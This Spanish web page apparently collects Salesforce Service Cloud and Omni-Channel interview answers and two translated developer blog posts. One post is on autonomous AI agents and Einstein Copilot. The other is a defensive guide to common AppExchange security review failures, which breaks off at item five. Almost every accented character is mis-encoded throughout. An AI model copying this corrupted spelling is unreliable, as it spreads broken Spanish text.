No, las macros pueden automatizar el proceso de env铆o de un correo electr贸nico, pero no pueden agregar archivos adjuntos.

Omnicanal

1. 驴Puedes explicar qu茅 es OmniCanal en Salesforce?

Conozca todo sobre: OmniCanal en Salesforce

OmniCanal es una caracter铆stica de Salesforce que permite la gesti贸n de elementos de trabajo entrantes desde diferentes canales de comunicaci贸n. Se trata de dirigir el trabajo adecuado a los agentes adecuados en el momento adecuado, en funci贸n de su disponibilidad y capacidad, garantizando que las cargas de trabajo se gestionen de manera eficiente.

2: 驴C贸mo beneficia OmniCanal a un equipo de servicio al cliente?

OmniChannel ayuda a los equipos de servicio al cliente al distribuir el trabajo de manera uniforme entre los agentes, reducir los tiempos de espera de los clientes y permitir que los agentes manejen el trabajo desde varios canales dentro de una sola plataforma. Este enfoque simplificado conduce a un mejor servicio al cliente y una mayor productividad de los agentes.

3. 驴Cu谩l es la diferencia entre OmniCanal y distribuci贸n del trabajo tradicional?

La distribuci贸n tradicional del trabajo a menudo implica una asignaci贸n manual, lo que puede llevar mucho tiempo y ser ineficiente. OmniChannel, por otro lado, dirige autom谩ticamente el trabajo a los agentes m谩s adecuados seg煤n criterios preestablecidos y la disponibilidad de los agentes en tiempo real, lo que hace que el proceso sea m谩s r谩pido y eficiente.

4. 驴Puede explicar el 鈥淓stado de presencia鈥 en OmniCanal?

鈥淓stado de presencia鈥 se refiere a la disponibilidad actual de un agente para recibir trabajo. Los agentes pueden configurar su estado para mostrar si est谩n disponibles, ocupados o ausentes, y OmniCanal utiliza esta informaci贸n para enrutarles el trabajo en consecuencia.

5. 驴C贸mo garantiza OmniCanal que los casos de alta prioridad se manejen r谩pidamente?

OmniCanal permite a los administradores establecer niveles de prioridad para diferentes tipos de trabajo. Cuando llegan elementos de trabajo, se enrutan autom谩ticamente seg煤n estos niveles de prioridad. Los elementos de alta prioridad se env铆an al principio de la cola para que se atiendan m谩s r谩pido.

6. 驴Se puede integrar OmniCanal con otras funciones de Salesforce?

S铆, OmniCanal se integra perfectamente con otras funciones de Salesforce. Por ejemplo, funciona con Service Cloud para gestionar procesos de atenci贸n al cliente, Sales Cloud para procesos de ventas e incluso aplicaciones personalizadas de Salesforce.

7. 驴C贸mo admite OmniCanal los diferentes canales de comunicaci贸n?

OmniCanal es vers谩til al admitir varios canales de comunicaci贸n como correo electr贸nico, chat, SMS y redes sociales. Dirige todos estos diferentes tipos de trabajo a los agentes a trav茅s de la misma plataforma, garantizando un enfoque unificado del servicio al cliente.

8. 驴Puede describir un escenario en el que el enrutamiento omnicanal podr铆a resultar beneficioso?

Imagine un escenario en el que hay un gran volumen de solicitudes de servicio entrantes y una cantidad limitada de agentes disponibles. OmniCanal dirige eficientemente las solicitudes a los agentes disponibles seg煤n sus habilidades, carga de trabajo y prioridad de los casos, garantizando una carga de trabajo equilibrada y respuestas oportunas.

9. 驴Cu谩les son los tipos de Omni Channel?

Basado en cola 鈫 Asignar agentes a la cola

Basado en habilidades 鈫 Asignar habilidades a los agentes

Enrutamiento externo 鈫 Configuraci贸n de enrutamiento de terceros

10. 驴C贸mo configurar Omni Channel?

  1. Habilite OmniCanal.
  2. Crear canales de atenci贸n.
  3. Cree configuraciones de enrutamiento.
  4. Asociar configuraciones de enrutamiento y agentes con colas.
  5. Crear configuraciones de presencia.
  6. Crear estados de presencia.
  7. Agregue el widget omnicanal.

11. 驴C贸mo crear un Canal de Atenci贸n?

Se puede crear un canal de servicio para cualquier objeto de Salesforce, como un caso, cliente potencial, sesi贸n SOS o objeto personalizado.

12. 驴C贸mo crear una configuraci贸n de enrutamiento?

Las configuraciones de enrutamiento determinan c贸mo se enrutan los elementos de trabajo a los agentes.

Util铆celos para priorizar la importancia relativa y el tama帽o de los elementos de trabajo de sus colas.

13. 驴Explicar los ajustes de configuraci贸n de enrutamiento?

Prioridad de ruta:

El orden en el que los elementos de trabajo de la cola asociados con esta configuraci贸n de enrutamiento se enrutan a los agentes. Los objetos en colas con un n煤mero menor se enrutan primero a los agentes.

Modelo de enrutamiento:

Determina c贸mo se enrutan los elementos de trabajo entrantes a los agentes asignados al canal de servicio de configuraci贸n.

Tiempo de espera de empuje (segundos):

Establece un l铆mite de tiempo para que un agente responda a un elemento antes de enviarlo a otro agente.

Unidades de Capacidad:

Cantidad de capacidad total del agente.

Preguntas basadas en escenarios

1. 驴C贸mo dise帽ar铆a una soluci贸n para respaldar a un equipo de soporte multiling眉e que utiliza Service Cloud?

Service Cloud de Salesforce admite equipos multiling眉es mediante el uso de funciones como Translation Workbench, que le permite traducir objetos est谩ndar y personalizados, reglas de validaci贸n, etiquetas de campo y m谩s, a cualquiera de los idiomas admitidos.

Adem谩s, los art铆culos de conocimiento se pueden escribir y traducir a varios idiomas, lo que permite a los agentes de soporte acceder y proporcionar informaci贸n en varios idiomas.

Tambi茅n puede configurar OmniCanal para enrutar casos a los agentes adecuados seg煤n sus habilidades ling眉铆sticas. De esta manera, los clientes pueden interactuar con el soporte en su idioma preferido, mejorando la satisfacci贸n del cliente.

2. 驴Puede explicarme el proceso de dise帽o de una soluci贸n de Service Cloud que incorpore reglas de escalamiento de casos y SLA para garantizar una resoluci贸n oportuna del caso?

  1. Es necesario definir los SLA, es decir, el tiempo dentro del cual se deben resolver casos de ciertos tipos o prioridades.
  2. Una vez definidos, configurar谩 los procesos de derechos para especificar el cronograma para cada etapa de resoluci贸n del caso.
  3. Luego, usar铆a Milestones dentro de estos procesos para rastrear si los casos se est谩n resolviendo dentro de los SLA definidos.
  4. Las reglas de escalamiento de casos se usar铆an para escalar casos que est茅n en peligro de violar sus SLA. Estos se pueden configurar para escalar seg煤n la antig眉edad del caso, la prioridad o incluso si el caso ha estado inactivo. Los casos escalados pueden luego remitirse autom谩ticamente a agentes o supervisores con m谩s experiencia para recibir atenci贸n urgente.

3. 驴C贸mo abordar铆a el dise帽o de una soluci贸n para un centro de llamadas a gran escala que necesita gestionar grandes vol煤menes de casos y llamadas?

鈥 Para los centros de llamadas de gran volumen, le conviene aprovechar la funci贸n OmniCanal de Service Cloud, que garantiza que los casos se dirijan a los agentes adecuados seg煤n su disponibilidad y conjunto de habilidades, lo que ayuda a gestionar la carga de trabajo de manera eficiente. La integraci贸n de la telefon铆a mediante Open CTI permite a los agentes recibir y realizar llamadas directamente dentro de Salesforce, garantizando que tengan toda la informaci贸n relevante del cliente al alcance de su mano.

4. 驴Cu谩l es su experiencia con la integraci贸n de aplicaciones de terceros en Service Cloud y c贸mo ha abordado la soluci贸n de problemas de integraci贸n en el pasado?

Mi enfoque implica primero garantizar que la aplicaci贸n de terceros tenga una documentaci贸n API s贸lida y cumpla con las mejores pr谩cticas de seguridad y cumplimiento. Salesforce ofrece varias formas de integraci贸n, como mediante API REST o SOAP, servicios externos o incluso mediante aplicaciones AppExchange, si est谩n disponibles.

5. 驴C贸mo dise帽ar铆a una soluci贸n que utilice Service Cloud para rastrear la opini贸n del cliente e incorporar esa informaci贸n en los flujos de trabajo de gesti贸n de casos?

Service Cloud puede integrarse con herramientas que ofrecen an谩lisis de sentimientos, incluido Einstein Sentiment de Salesforce. Al analizar el texto de las interacciones con los clientes (correos electr贸nicos, transcripciones de chat, publicaciones en redes sociales), se puede determinar el sentimiento (positivo, neutral, negativo). Estos datos de opini贸n se pueden almacenar como un campo en el objeto Caso o en un objeto personalizado relacionado.

6. 驴Puede dar un ejemplo de c贸mo ha utilizado Service Cloud para mejorar las capacidades de autoservicio del cliente y reducir la cantidad de solicitudes de soporte entrantes?

Una estrategia eficaz es implementar una comunidad o portal de clientes utilizando Salesforce Community Cloud, integrado con Service Cloud. Aqu铆 se puede acceder a los art铆culos de la base de conocimientos, lo que permite a los clientes encontrar respuestas a sus preguntas. Tambi茅n se pueden crear casos directamente desde la comunidad y los clientes pueden verificar su estado sin necesidad de comunicarse con el soporte. La implementaci贸n de un chatbot a trav茅s de Einstein Bots tambi茅n puede desviar consultas rutinarias al proporcionar respuestas autom谩ticas a preguntas comunes.

7. 驴Has trabajado con Service Cloud Voice? 驴C贸mo ha utilizado esta tecnolog铆a para mejorar el rendimiento del call center y la satisfacci贸n del cliente?

Service Cloud Voice integra la telefon铆a en Salesforce, brindando una vista unificada del cliente y transcripci贸n de llamadas en tiempo real. Esto permite a los agentes centrarse m谩s en el cliente que en tomar notas. La transcripci贸n en tiempo real, impulsada por Einstein, tambi茅n puede proporcionar sugerencias para el siguiente paso, ayudando a los agentes m谩s nuevos. La conclusi贸n posterior a la llamada se acelera porque los datos de la llamada ya est谩n en Salesforce, lo que reduce el trabajo posterior a la llamada y, en consecuencia, los tiempos de espera para los clientes. Los datos hist贸ricos de llamadas brindan informaci贸n valiosa para el an谩lisis de la opini贸n del cliente y el desempe帽o de los agentes, lo que impacta positivamente la capacitaci贸n y la satisfacci贸n del cliente.

8. 驴C贸mo abordar铆a el dise帽o de una soluci贸n para una empresa que opera en varios pa铆ses con diferentes regulaciones de privacidad de datos?

鈥 El cumplimiento de diversas normas de privacidad de datos se puede gestionar en Service Cloud mediante el uso de funciones como opciones de residencia de datos para almacenar datos en regiones espec铆ficas, enmascaramiento de datos, cifrado, seguridad a nivel de campo y reglas de acceso a registros para controlar qui茅n puede acceder a qu茅 datos.

9. 驴C贸mo ha abordado los problemas de escalabilidad y rendimiento al dise帽ar soluciones de Service Cloud para grandes empresas?

  • Para las grandes empresas, las consideraciones incluyen la gesti贸n del volumen de datos, el uso de las herramientas de optimizaci贸n del rendimiento integradas de Salesforce y la revisi贸n peri贸dica de la organizaci贸n para eliminar configuraciones y personalizaciones obsoletas.
  • Tambi茅n es importante dise帽ar con una mentalidad de 鈥渃lics, no c贸digo鈥 para minimizar el c贸digo personalizado, que puede introducir complejidad y sobrecarga de rendimiento.
  • Cuando es necesario un c贸digo personalizado, es vital seguir las mejores pr谩cticas para la masificaci贸n y las consultas SOQL eficientes. Finalmente, el monitoreo a trav茅s del Optimizador, Health Check y otras herramientas de Salesforce puede ayudar a identificar y mitigar problemas de rendimiento de manera proactiva.

10. 驴C贸mo ha utilizado Service Cloud para mejorar la retenci贸n de clientes y reducir las tasas de abandono?

En Service Cloud, la retenci贸n de clientes se puede mejorar significativamente utilizando las s贸lidas funciones de servicio al cliente de la plataforma. Por ejemplo, aprovecho las capacidades de an谩lisis e informes de Service Cloud para realizar un seguimiento de las puntuaciones de satisfacci贸n del cliente e identificar problemas comunes que provocan la insatisfacci贸n del cliente. Al integrar los comentarios directamente en el sistema de gesti贸n de casos, los agentes pueden abordar las inquietudes de manera proactiva antes de que se intensifiquen, lo que impacta directamente en la satisfacci贸n y retenci贸n del cliente. Adem谩s, caracter铆sticas como la comunicaci贸n personalizada con el cliente, art铆culos de conocimiento para el autoservicio y la resoluci贸n eficiente de casos a trav茅s del enrutamiento y escalamiento automatizados de casos ayudan a mantener una experiencia positiva para el cliente, reduciendo as铆 la deserci贸n.

11. 驴Ha trabajado con la funcionalidad Live Agent de Service Cloud? 驴C贸mo ha utilizado esta tecnolog铆a para mejorar las experiencias de atenci贸n al cliente?

S铆, utilic茅 Live Agent dentro de Service Cloud para mejorar el soporte que reciben los clientes en tiempo real. Al integrar Live Agent, los clientes pueden chatear instant谩neamente con agentes de soporte, lo que reduce los tiempos de espera y mejora la satisfacci贸n general. Descubr铆 que incorporar el chat de Live Agent en sitios web y aplicaciones m贸viles donde los clientes son m谩s activos reduce significativamente la barrera para acceder al soporte.

12. 驴Puede describir c贸mo dise帽ar铆a una soluci贸n de Service Cloud que incorpore el enrutamiento automatizado de casos al agente apropiado seg煤n el problema del cliente y el conjunto de habilidades del agente?

Para lograr esto, aprovechar铆amos la funci贸n OmniCanal, que permite enrutar los casos seg煤n el conjunto de habilidades, la disponibilidad y la carga de trabajo del agente.

  1. Comenzar铆a por definir varios conjuntos de habilidades de agentes dentro del sistema y asociar铆a estas habilidades con los agentes correspondientes.
  2. Luego, establec铆a configuraciones de enrutamiento, donde los casos entrantes se eval煤an seg煤n criterios predefinidos relacionados con el problema del cliente y luego se los relaciona con un agente que posee el conjunto de habilidades requerido.

13. 驴C贸mo abordar铆a el dise帽o de una soluci贸n de Service Cloud que pueda manejar grandes vol煤menes de casos manteniendo tiempos de respuesta consistentes y niveles de satisfacci贸n del cliente?

  • Primero, implementar铆a reglas de asignaci贸n de casos para automatizar la distribuci贸n de casos a los agentes o colas correctos.
  • Luego, utilizar铆a la funci贸n de reglas de escalamiento de casos de Service Cloud para priorizar casos urgentes o de alto impacto.
  • Para mantener tiempos de respuesta constantes, se pueden utilizar funciones como reglas de respuesta autom谩tica para reconocer inmediatamente los env铆os de casos.
  • Adem谩s, integrar铆a una base de conocimientos integral para facilitar las opciones de autoservicio, reduciendo as铆 la carga de casos para los agentes.

50% Me gusta VS
50% No me gusta

Seguir leyendo

Introducci贸n a los agentes aut贸nomos 鈽侊笍

Introducci贸n a los agentes aut贸nomos 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Introducci贸n a los agentes aut贸nomos | Blog de desarrolladores de Salesforce

El panorama de la IA est谩 cambiando a un ritmo tan r谩pido que las tecnolog铆as futuristas como la IA aut贸noma ya est谩n mucho m谩s cerca de lo que piensas. Esto se debe a la forma en que los grandes modelos de lenguaje (LLM) est谩n comenzando a incorporarse en casi todas las formas en que interact煤a con las aplicaciones. Para los desarrolladores, esto supone un cambio en la forma en que abordamos la creaci贸n de aplicaciones, desde las formas en que las reunimos hasta la creaci贸n con una UX conversacional completamente nueva.

En esta publicaci贸n de blog, veremos c贸mo los agentes aut贸nomos incorporan la IA a la forma en que funcionan las aplicaciones y, al mismo tiempo, nos acercan a un mundo aut贸nomo.

驴Qu茅 son los agentes aut贸nomos?

En nuestro panorama tecnol贸gico, los agentes son sistemas avanzados que aprovechan el poder de los modelos ling眉铆sticos para razonar y tomar decisiones. Lo que los diferencia de otro bot o marco es el hecho de que los agentes pueden realizar tareas en su nombre utilizando herramientas y memoria.

Las herramientas son extensiones de las capacidades de un modelo de lenguaje, que cierran brechas en su conocimiento y le permiten interactuar con fuentes de datos externas o recursos computacionales. Con estas herramientas, un modelo de lenguaje puede obtener datos en tiempo real, ejecutar tareas y utilizar los resultados para informar sus acciones posteriores. Por ejemplo, si un modelo de lenguaje conoce informaci贸n solo hasta una fecha determinada, las herramientas pueden proporcionarle informaci贸n m谩s actualizada de la web, bases de datos u otras fuentes externas.

La memoria proporciona a los agentes la capacidad de recordar interacciones pasadas, lo que puede ser esencial para la continuidad de las tareas y el aprendizaje de acciones anteriores. Esta memoria puede ser de corta duraci贸n, centr谩ndose en interacciones recientes, o de largo plazo, recordando eventos o patrones pasados importantes que son relevantes para situaciones actuales.

Juntos, estos elementos transforman un modelo de lenguaje en un agente que no s贸lo puede comprender y generar texto, sino tambi茅n actuar sobre esa comprensi贸n en contextos del mundo real. Dichos agentes pueden ejecutar soluciones de forma aut贸noma para los usuarios, pero tambi茅n pueden integrar la intervenci贸n humana, especialmente en escenarios donde existen incertidumbres o excepciones.

驴C贸mo funcionan los agentes?

Se han creado muchos marcos para respaldar el avance de los agentes, siendo algunos de los m谩s populares AutoGPT y LangChain . Generalmente, los agentes siguen un patr贸n similar: el marco ReAct para razonar y actuar en modelos ling眉铆sticos .

Este marco consta de una serie de pasos:

  1. El usuario proporciona informaci贸n.
  2. El agente 鈥減iensa鈥 en la respuesta adecuada
  3. El agente determina la acci贸n, selecciona la herramienta relevante y decide la entrada para esa herramienta.
  4. La herramienta ofrece un resultado.
  5. El proceso recorre los pasos 2 a 4 hasta que el agente determina que la tarea est谩 completa

Este proceso es el que empieza a hacer aut贸nomo al agente. Al confiar en el LLM para pensar en la respuesta y determinar las acciones apropiadas necesarias, act煤a por s铆 solo para crear el resultado deseado.

Usando LangChain como ejemplo, digamos que queremos crear una aplicaci贸n que permita a un cliente gestionar sus pedidos. Primero, podr铆amos darle a la aplicaci贸n acceso a nuestra base de datos de pedidos, base de datos de clientes y API de socios de env铆o. Luego, configurar铆amos una serie de herramientas a las que puede acceder la aplicaci贸n para consultar datos, actualizarlos y utilizar IA generativa para redactar una respuesta.

Este agente de gesti贸n de pedidos dispone de seis herramientas que puede utilizar 鈥渄entro de su dominio de conocimiento鈥:

  1. Query Orders es una herramienta que puede consultar pedidos desde una base de datos a trav茅s de una API conectada a una base de datos PostgreSQL.
  2. Update Order es una herramienta que puede actualizar un 煤nico pedido desde una base de datos a trav茅s de una API conectada a una base de datos PostgreSQL.
  3. Manage Tracking Info es una herramienta que puede gestionar un env铆o a trav茅s de una API proporcionada por una empresa de env铆o
  4. Get Customer es una herramienta que puede consultar datos de clientes desde una API conectada a un sistema CRM
  5. Update Customer es una herramienta que puede actualizar los datos de los clientes a trav茅s de una API conectada a un sistema CRM
  6. Compose Response es una herramienta que puede pasar indicaciones a un LLM y devolver una respuesta.

Veamos ahora c贸mo un agente podr铆a manejar casos de uso relacionados con la gesti贸n de pedidos. Por ejemplo, 驴c贸mo puede el agente ayudar a un usuario a obtener una actualizaci贸n sobre el estado de su pedido?

  1. El usuario solicita la informaci贸n m谩s reciente de su pedido a trav茅s de un chatbot
  2. El agente 鈥減iensa鈥 y determina la acci贸n correcta que debe tomar
    1. El agente primero utiliza la herramienta Consultar cliente para consultar los detalles del cliente.
    2. Luego, el agente utiliza la herramienta Consultar pedidos para consultar pedidos desde una base de datos.
    3. Luego, el agente utiliza la herramienta Administrar informaci贸n de seguimiento para obtener la informaci贸n de env铆o m谩s reciente de su socio de env铆o.
    4. Luego, el agente toma ambos resultados y utiliza la herramienta Redactar respuesta para generar una respuesta.
  3. La respuesta se devuelve al usuario.

En este escenario, el agente pudo tomar las herramientas que le proporcionamos y determinar el pedido y los par谩metros que necesitan para crear el resultado correcto para el usuario, en este caso, toda su informaci贸n de pedido y env铆o. Lo que es importante tener en cuenta aqu铆 es que el usuario puede hacerle al agente cualquier pregunta sobre su pedido y el agente puede usar IA para razonar y usar las herramientas en el orden que necesite.

Como desarrollador, su funci贸n se centra m谩s en crear las herramientas y permitir que el agente administre la orquestaci贸n.

Mantener a un humano informado

El desaf铆o 茅tico con los agentes aut贸nomos es que no hay ning煤n ser humano involucrado cuando se trata de ejecutar las acciones. En Salesforce, estamos comprometidos con el uso 茅tico de la IA y queremos dejarlo claro en nuestras implementaciones de este tipo de tecnolog铆a. Ciertas reglas exigen que una persona sea responsable de tomar la decisi贸n final en asuntos con consecuencias legales o de impacto comparable, incluida la contrataci贸n laboral, la aprobaci贸n de pr茅stamos, las admisiones educativas y las sugerencias en justicia penal. Esta insistencia en la supervisi贸n humana, en lugar de decisiones automatizadas, tiene como objetivo identificar y reducir mejor los posibles sesgos y da帽os.

驴Qu茅 significa esto para el futuro de Salesforce?

En Dreamforce este a帽o, les dimos una idea de c贸mo ser谩 el futuro de Salesforce y la IA aut贸noma en la plataforma Einstein 1. Einstein Copilot es nuestra respuesta a un asistente conversacional de IA generativa basado en agentes que utiliza habilidades y acciones para guiar a los usuarios a trav茅s de la interacci贸n con Salesforce. Esto introduce un paradigma de desarrollo completamente nuevo para Salesforce, uno en el que estamos creando piezas de funcionalidad m谩s peque帽as que pueden ser orquestadas por Einstein Copilot.

驴C贸mo se compara Einstein Copilot con un agente de IA?

Si bien existen varias similitudes entre Copilot y un marco de agente de c贸digo abierto, la verdadera diferencia es el acceso de Copilot a toda la plataforma de metadatos de Salesforce. No s贸lo eso, sino que el alcance es mucho mayor. En lugar de agentes individuales, tienes muchas habilidades , y en lugar de herramientas tienes acciones .

Por ejemplo, si desea actualizar un pedido utilizando Copilot, deber谩 crear una habilidad de gesti贸n de pedidos. Con otros marcos, necesitar铆as crear un agente completo para la gesti贸n de pedidos.

Cuando se trata de acciones, usted tiene el poder de la Plataforma Einstein 1 detr谩s de usted. Podr谩 utilizar Apex, Flow, las numerosas API de plataforma, SOQL y mucho m谩s para brindarle a su habilidad la capacidad de reunir datos desde cualquier lugar. Tambi茅n tiene acceso directo a los datos de toda la plataforma.

Estudio Einstein Copiloto

Estas habilidades y acciones se re煤nen en Einstein Copilot Studio , que le permite ensamblar flujos, indicaciones, Apex y m谩s en colecciones de funcionalidades.

Actualmente existen tres herramientas dentro de Einstein Copilot Studio:

  • Prompt Builder le permite crear plantillas de mensajes utilizando campos de combinaci贸n de registros y datos proporcionados por Flow y Data Cloud.
  • Skills Builder le permite ensamblar acciones, como m茅todos invocables de Apex, flujos y llamadas de API de MuleSoft, y otorg谩rselas a un agente.
  • Model Builder le permite traer sus propios modelos de IA a Salesforce

Juntos, podr谩n crear agentes potentes en Salesforce que puedan usar su c贸digo para responder preguntas y ayudar a los usuarios.

La capa de confianza de Einstein

Una gran ventaja de Einstein Copilot es Einstein Trust Layer. Trust Layer proporciona un entorno seguro para el procesamiento de datos a trav茅s de un modelo de lenguaje grande, lo que garantiza que los datos del usuario permanezcan confidenciales al enmascarar informaci贸n de identificaci贸n personal, verificar la salida en busca de contenido inapropiado y garantizar que no haya persistencia de datos fuera de Salesforce.

Trust Layer se ejecuta a trav茅s de un proceso de varios pasos para garantizar que los datos est茅n fundamentados y enmascarados antes de ser procesados por un proveedor de LLM externo, y proporciona una puerta de enlace segura para interactuar con dichos LLM. Una vez que se ha generado una respuesta, la verifica en busca de contenido t贸xico y desenmascara los datos antes de present谩rselos al usuario. Puede ver m谩s de cerca la capa de confianza en nuestra publicaci贸n de blog Dentro de la capa de confianza de Einstein .

Resumen

La IA aut贸noma se hace realidad mucho m谩s cerca a trav茅s de agentes, lo que marca el comienzo de una nueva era de tecnolog铆a en la que el razonamiento y la toma de decisiones se potencian con herramientas y memoria. Einstein Copilot de Salesforce introduce este enfoque impulsado por agentes en la plataforma, ofreciendo un asistente de IA conversacional que gu铆a a los usuarios, aprovecha los vastos metadatos de Salesforce y garantiza la integridad de los datos a trav茅s de Einstein Trust Layer. Este cambio transformador significa no s贸lo una evoluci贸n en las interacciones de IA, sino tambi茅n una promesa de experiencias seguras, eficientes y fluidas para los usuarios de Salesforce.

Sobre el Autor

Stephan Chandler-Garc铆a es el director de contenido estrat茅gico de Salesforce. Ha estado en el ecosistema de Salesforce durante m谩s de 10 a帽os como cliente, socio e ISV. Puede encontrar a Stephan en persona en un grupo comunitario Trailblazer o en una de nuestras conferencias en todo el mundo. Alternativamente, s铆galo en X (Twitter) o GitHub .

Obtenga las 煤ltimas publicaciones de blog y episodios de podcasts para desarrolladores de Salesforce a trav茅s de Slack o RSS.

A帽adir a holgura Suscr铆bete a RSS

Seguir leyendo

Las 20 vulnerabilidades principales encontradas en la revisi贸n de seguridad de AppExchange 鈽侊笍

Las 20 vulnerabilidades principales encontradas en la revisi贸n de seguridad de AppExchange 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Las 20 principales vulnerabilidades encontradas en la revisi贸n de seguridad de AppExchange | Blog de desarrolladores de Salesforce

Se sabe que la revisi贸n de seguridad de AppExchange es uno de los procesos de revisi贸n m谩s rigurosos de cualquier mercado de aplicaciones en l铆nea. Esta estricta reputaci贸n es algo de lo que Salesforce se enorgullece, siendo la confianza nuestro valor n煤mero uno. Como mercado de software empresarial, tenemos la profunda responsabilidad de cumplir con los m谩s altos est谩ndares de seguridad posibles para la protecci贸n de los datos de los clientes.

Dicho esto, estos est谩ndares pueden representar un desaf铆o importante para los socios ISV que buscan publicar ofertas en AppExchange. Para ayudar a mejorar la transparencia y ayudarlos a todos a tener 茅xito, en orden de prevalencia, esta publicaci贸n analizar谩 las 20 razones principales por las que los socios no pasan la revisi贸n de seguridad (a partir de 2023). Tambi茅n cubriremos c贸mo remediar o prevenir estos problemas.

#1 鈥 Aplicaci贸n de CRUD/FLS

驴Qu茅 es esto?

Las vulnerabilidades de aplicaci贸n de la seguridad a nivel de objetos y campos (CRUD/FLS) son la raz贸n principal (por un margen significativo) para no pasar la revisi贸n de seguridad de AppExchange. Estas vulnerabilidades representan fallas al verificar adecuadamente si los objetos y/o campos son accesibles, creables, eliminables y/o actualizables antes de ejecutar consultas o acciones de base de datos. Si su oferta de AppExchange contiene alg煤n c贸digo de Salesforce, este problema debe ser su prioridad n煤mero uno a resolver antes de enviarlo para una revisi贸n de seguridad.

驴C贸mo puedo abordar esto?

Si, durante su proceso de codificaci贸n, no ha implementado consistentemente comprobaciones CRUD/FLS o no ha ejecutado SOQL, SOSL y DML en modo de usuario, querr谩 hacer una revisi贸n muy exhaustiva de su c贸digo base para asegurarse de que no est茅 realizar cualquier operaci贸n de creaci贸n/lectura/actualizaci贸n/eliminaci贸n no marcada en objetos o campos.

El m茅todo preferido y moderno para hacer cumplir CRUD/FLS implica utilizar el modo de usuario en todas las consultas y operaciones de bases de datos. La desventaja de esto es que Checkmarx, PMD y el motor de reglas PMD de Code Analyzer a煤n no lo admiten completamente (al momento de escribir esta publicaci贸n, PMD admite WITH USER_MODE en SOSL/SOQL, pero no el modo de usuario DML, por lo que si usa este tipo de protecci贸n arrojar谩 falsos positivos). Code Analyzer Graph Engine es actualmente la 煤nica herramienta que admite ambos tipos de modos de usuario. Consulte el comando scanner:run:dfa en la documentaci贸n para ejecutar un escaneo con Code Analyzer Graph Engine.

Si ha estado aplicando CRUD/FLS a la antigua usanza con Schema.DescribeSObjectResult (es decir, m茅todos como isCreatable() , isUpdateable() , isDeletable() ), entonces Code Analyzer y la extensi贸n PMD para VS Code pueden ser 煤tiles herramientas que puede utilizar para comprobar su c贸digo base. Puede seguir nuestra gu铆a para obtener m谩s informaci贸n sobre c贸mo utilizar PMD para VS Code y Code Analyzer para eliminar las infracciones CRUD/FLS.

El esc谩ner Checkmarx debe utilizarse como verificaci贸n final de violaciones de CRUD/FLS. Puede ejecutar este an谩lisis a trav茅s del Portal de seguridad para socios .

Obtenga m谩s informaci贸n sobre la aplicaci贸n de CRUD/FLS en Trailhead .

#2 鈥 Versi贸n de software insegura

驴Qu茅 es esto?

Esto significa que alguna pieza de software (normalmente, una versi贸n espec铆fica del software) utilizada en su oferta tiene vulnerabilidades de seguridad conocidas. La mayor铆a de las veces, es porque est谩s usando una versi贸n desactualizada de una biblioteca de JavaScript (por ejemplo, jQuery es, con diferencia, la m谩s com煤n), pero tambi茅n podr铆a ser algo as铆 como versiones antiguas de nginx, bibliotecas de Python, CKEditor o PHP.

驴C贸mo puedo abordar esto?

Intente identificar todas las bibliotecas, marcos, software y otras tecnolog铆as que no sean de Salesforce dentro del alcance de su oferta de AppExchange.

Busque cada uno de estos en Snyk (para proyectos de c贸digo abierto) o en la base de datos CVE . CVE significa "vulnerabilidades y exposiciones comunes" y la base de datos CVE representa un glosario de vulnerabilidades de seguridad conocidas p煤blicamente que es mantenido y operado por el FFRDC Nacional de Ciberseguridad de EE. UU. y MITRE Corporation. Tambi茅n puede utilizar el complemento RetireJS de Salesforce Code Analyzer para ejecutar un escaneo de su c贸digo base empaquetado para buscar bibliotecas de JavaScript con vulnerabilidades conocidas.

Nota: En algunos casos, puede agregar documentaci贸n de falsos positivos para argumentar que un CVE particular registrado no podr铆a aplicarse a su oferta, ya que quiz谩s no est茅 utilizando la funcionalidad asociada con ese CVE.

#3 鈥 Violaci贸n al compartir

驴Qu茅 es esto?

B谩sicamente, esto significa que tiene clases de Apex en las que no ha agregado expl铆citamente la palabra clave with sharing al encabezado de la clase, omitiendo as铆 las reglas de uso compartido de una organizaci贸n.

驴C贸mo puedo abordar esto?

Simplemente verifique todas sus clases de Apex y aseg煤rese de tener with sharing (o el uso compartido heredado) definido en el encabezado de la clase. Para los casos en los que necesita que una clase se ejecute sin compartir (por ejemplo, la clase debe ejecutarse en un contexto de sistema y no en un contexto de usuario), agregue una explicaci贸n a su documento de falso positivo que explique el caso de uso empresarial (e idealmente, agregue comentarios en la parte superior). de los encabezados de clase relevantes para que quede a煤n m谩s claro).

Code Analyzer , PMD para VS Code y Checkmarx tambi茅n pueden ayudarlo a escanear su c贸digo.

Obtenga m谩s informaci贸n sobre c贸mo compartir el cumplimiento a trav茅s de Trailhead .

#4: Almacenamiento inseguro de datos confidenciales

驴Qu茅 es esto?

Los secretos no deben estar codificados en el c贸digo fuente. Aunque el c贸digo puede estar contenido en un paquete administrado donde el c贸digo est谩 oculto para los clientes, todav铆a existen razones por las que esta es una pr谩ctica insegura, entre ellas:

  • El cliente debe tener control sobre sus secretos y claves y, en muchos casos, debe poder cambiarlos o actualizarlos.
  • Los secretos pueden quedar expuestos en registros o mensajes de error
  • Si un secreto o clave caduca, el cliente no podr谩 actualizarlo por s铆 mismo.

驴C贸mo puedo abordar esto?

Aseg煤rese de que no haya secretos codificados en el c贸digo fuente, incluso si es un paquete administrado. Aseg煤rese de que todos los secretos se almacenen de una de las siguientes maneras:

  • Campos de metadatos personalizados protegidos (para secretos propiedad de socios)
  • Configuraciones personalizadas protegidas (para secretos propiedad del suscriptor/cliente)
  • Credenciales con nombre (esto generalmente no se recomienda, pero si tiene un caso de uso espec铆fico que lo requiera, es posible que se permita caso por caso)
  • Cifrado y almacenado en objetos personalizados con la clave de cifrado almacenada en una configuraci贸n personalizada protegida o en un campo de metadatos personalizados ocultos

Obtenga m谩s informaci贸n sobre el almacenamiento seguro de secretos en Trailhead .

#5 鈥 Configuraci贸n TLS/SSL

驴Qu茅 es esto?

